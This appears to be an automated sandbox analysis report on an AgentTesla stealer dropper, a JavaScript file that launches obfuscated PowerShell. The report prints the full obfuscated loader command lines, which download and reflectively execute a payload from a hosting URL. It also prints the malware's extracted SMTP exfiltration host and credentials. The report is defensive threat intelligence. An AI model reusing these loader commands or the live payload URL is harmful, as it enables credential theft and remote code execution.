agenttesla | 228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457

General

Target

InquiryDubai.js
Size

320KB
MD5

b54f5c7cb5ac3d69127941e40966ab0c
SHA1

c75973c8bee061c5e4994e2e9da6ebb830719e31
SHA256

228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457
SHA512

26b0b14d52ed23906448121c2078e032fda790df95cd27c49a888fba3b17f725d494fc89298a6a99e795faa594de1ea4739a113331129bc3395f22a387f53987
SSDEEP

6144:6Xx8rS9pLPEFSkgJisDKPdGuoKeM4k6iPrjt5DiqVAo2JIF1wS8TeBVDm6T3ViZ5:wx2spLPEFSkUisDKVA5k6arjLDi2PmCC

Score

10^/10

agenttesla credential_access discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.mohawatradingco.com
Port:
587
Username:
[email protected]
Password:
mohawatradingco.com
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1184	powershell.exe
17	1184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4572	powershell.exe
1184	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1184 set thread context of 1580	1184	powershell.exe	89

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4572	powershell.exe
4572	powershell.exe
1184	powershell.exe
1184	powershell.exe
1580	AddInProcess32.exe
1580	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	1580	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 4572	2644	wscript.exe	82
PID 2644 wrote to memory of 4572	2644	wscript.exe	82
PID 4572 wrote to memory of 1184	4572	powershell.exe	84
PID 4572 wrote to memory of 1184	4572	powershell.exe	84
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89
PID 1184 wrote to memory of 1580	1184	powershell.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\InquiryDubai.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAEUAMwB6ACcAKwAnAHUAcgBsACAAPQAgAGgAaQB6AGgAdAB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwACcAKwAnADQANgAwADEALgB1AHMALgBhAHIAYwBoAGkAdgBlAC4AJwArACcAbwByAGcALwA2AC8AaQAnACsAJwB0AGUAbQBzAC8AZABlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtACcAKwAnAGoAJwArACcALwAnACsAJwBEACcAKwAnAGUAdABhAGgATgBvAHQAZQBKACcAKwAnAC4AdAB4AHQAJwArACcAaABpAHoAJwArACcAOwBFACcAKwAnADMAegAnACsAJwBiACcAKwAnAGEAcwBlACcAKwAnADYANABDACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnACAAPQAnACsAJwAgACgATgAnACsAJwBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAgAFMAeQAnACsAJwBzAHQAZQBtAC4ATgAnACsAJwBlAHQALgBXAGUAJwArACcAYgBDAGwAJwArACcAaQBlACcAKwAnAG4AdAApAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAByAGkAbgBnACgAJwArACcARQAzAHoAJwArACcAdQByAGwAKQA7AEUAMwB6ACcAKwAnAGIAaQBuAGEAcgB5AEMAbwBuAHQAJwArACcAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuACcAKwAnAHYAZQAnACsAJwByAHQAXQA6ADoARgByAG8AbQAnACsAJwBCAGEAcwAnACsAJwBlADYANABTAHQAcgBpAG4AZwAnACsAJwAoAEUAMwB6AGIAYQBzAGUANgAnACsAJwA0AEMAbwBuAHQAZQBuAHQAKQA7AEUAMwAnACsAJwB6AGEAcwBzAGUAJwArACcAbQBiAGwAeQAgAD0AIAAnACsAJwBbAFIAZQAnACsAJwBmAGwAZQAnACsAJwBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ACcAKwAnADoATABvAGEAZAAoACcAKwAnAEUAMwB6AGIAaQBuAGEAcgB5AEMAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEUAMwB6AHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACcAKwAnACAARQAzAHoAJwArACcAYQBzACcAKwAnAHMAZQBtACcAKwAnAGIAbAB5ACcAKwAnAC4ARwAnACsAJwBlAHQAVAB5AHAAZQAnACsAJwAoAGgAJwArACcAaQB6AFIAdQBuAFAARQAuAEgAbwBtAGUAaABpAHoAJwArACcAKQAnACsAJwA7AEUAMwB6ACcAKwAnAG0AZQB0AGgAJwArACcAbwBkACcAKwAnACAAPQAgAEUAMwB6AHQAeQAnACsAJwBwAGUALgBHACcAKwAnAGUAdABNAGUAdAAnACsAJwBoACcAKwAnAG8AJwArACcAZAAoAGgAaQB6AFYAQQAnACsAJwBJACcAKwAnAGgAaQB6ACkAJwArACcAOwBFADMAegBtACcAKwAnAGUAdABoAG8AZAAuAEkAbgB2AG8AJwArACcAawBlACgARQAzAHoAbgB1AGwAbAAnACsAJwAsACcAKwAnACAAJwArACcAWwBvAGIAagBlACcAKwAnAGMAJwArACcAdABbACcAKwAnAF0AXQAnACsAJwBAACcAKwAnACgAaABpAHoAdAAnACsAJwB4AHQALgA5ADkAMQAvACcAKwAnAHYAJwArACcAZQAnACsAJwBkAC4AJwArACcAMgByACcAKwAnAC4ANAA3ACcAKwAnAGEAZgAzACcAKwAnADIAYQBlAGMAOABlACcAKwAnADYAJwArACcAMABhADcAOAAyADcAOQA0ADYAJwArACcAMAAzACcAKwAnAGMAMABiADEAMwA0AGMAOQAzAC0AJwArACcAYgB1AHAAJwArACcALwAvADoAcwBwAHQAdAAnACsAJwBoACcAKwAnAGgAJwArACcAaQAnACsAJwB6ACAALAAgAGgAaQAnACsAJwB6AGQAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AaABpACcAKwAnAHoAIAAsACAAaABpAHoAJwArACcAZABlAHMAJwArACcAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAegAgACwAJwArACcAIABoAGkAegBkAGUAJwArACcAcwBhAHQAaQAnACsAJwB2AGEAZAAnACsAJwBvAGgAaQAnACsAJwB6ACcAKwAnACwAJwArACcAaABpAHoAJwArACcAQQBkACcAKwAnAGQASQBuAFAAcgAnACsAJwBvAGMAZQBzACcAKwAnAHMAJwArACcAMwAyAGgAJwArACcAaQB6ACwAaABpAHoAJwArACcAZABlAHMAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAJwArACcAegApACcAKwAnACkAJwArACcAOwAnACkALgBSAEUAUABsAEEAQwBFACgAKABbAGMASABhAFIAXQA2ADkAKwBbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADIAMgApACwAJwAkACcAKQAuAFIARQBQAGwAQQBDAEUAKAAoAFsAYwBIAGEAUgBdADEAMAA0ACsAWwBjAEgAYQBSAF0AMQAwADUAKwBbAGMASABhAFIAXQAxADIAMgApACwAWwBzAHQAcgBJAE4AZwBdAFsAYwBIAGEAUgBdADMAOQApACAAfAAmACAAKAAgACQARQBOAHYAOgBDAE8AbQBTAHAARQBDAFsANAAsADIANAAsADIANQBdAC0AagBPAEkATgAnACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('E3z'+'url = hizhttps://'+'ia'+'90'+'4601.us.archive.'+'org/6/i'+'tems/det'+'ah-note-'+'j'+'/'+'D'+'etahNoteJ'+'.txt'+'hiz'+';E'+'3z'+'b'+'ase'+'64C'+'ontent'+' ='+' (N'+'ew-Ob'+'j'+'ec'+'t Sy'+'stem.N'+'et.We'+'bCl'+'ie'+'nt).Down'+'lo'+'adString('+'E3z'+'url);E3z'+'binaryCont'+'ent = [System.Con'+'ve'+'rt]::From'+'Bas'+'e64String'+'(E3zbase6'+'4Content);E3'+'zasse'+'mbly = '+'[Re'+'fle'+'ction.Asse'+'mbly]:'+':Load('+'E3zbinaryCo'+'n'+'te'+'nt);E3zty'+'pe '+'='+' E3z'+'as'+'sem'+'bly'+'.G'+'etType'+'(h'+'izRunPE.Homehiz'+')'+';E3z'+'meth'+'od'+' = E3zty'+'pe.G'+'etMet'+'h'+'o'+'d(hizVA'+'I'+'hiz)'+';E3zm'+'ethod.Invo'+'ke(E3znull'+','+' '+'[obje'+'c'+'t['+']]'+'@'+'(hizt'+'xt.991/'+'v'+'e'+'d.'+'2r'+'.47'+'af3'+'2aec8e'+'6'+'0a7827946'+'03'+'c0b134c93-'+'bup'+'//:sptt'+'h'+'h'+'i'+'z , hi'+'zdesati'+'vadohi'+'z , hiz'+'des'+'ativa'+'dohiz ,'+' hizde'+'sati'+'vad'+'ohi'+'z'+','+'hiz'+'Ad'+'dInPr'+'oces'+'s'+'32h'+'iz,hiz'+'desativa'+'dohi'+'z)'+')'+';').REPlACE(([cHaR]69+[cHaR]51+[cHaR]122),'$').REPlACE(([cHaR]104+[cHaR]105+[cHaR]122),[strINg][cHaR]39) |& ( $ENv:COmSpEC[4,24,25]-jOIN'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krzk0y02.2a1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1184-22-0x000001BFD2590000-0x000001BFD279C000-memory.dmp

Filesize
2.0MB

Download
memory/1580-30-0x00000000059A0000-0x0000000005F44000-memory.dmp

Filesize
5.6MB

Download
memory/1580-34-0x0000000006910000-0x000000000691A000-memory.dmp

Filesize
40KB

Download
memory/1580-33-0x0000000006990000-0x0000000006A22000-memory.dmp

Filesize
584KB

Download
memory/1580-32-0x00000000068A0000-0x00000000068F0000-memory.dmp

Filesize
320KB

Download
memory/1580-23-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1580-31-0x00000000055A0000-0x0000000005606000-memory.dmp

Filesize
408KB

Download
memory/4572-11-0x00007FFE06700000-0x00007FFE071C1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-29-0x00007FFE06700000-0x00007FFE071C1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-12-0x00007FFE06700000-0x00007FFE071C1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-0-0x00007FFE06703000-0x00007FFE06705000-memory.dmp

Filesize
8KB

Download
memory/4572-3-0x0000026854750000-0x0000026854772000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads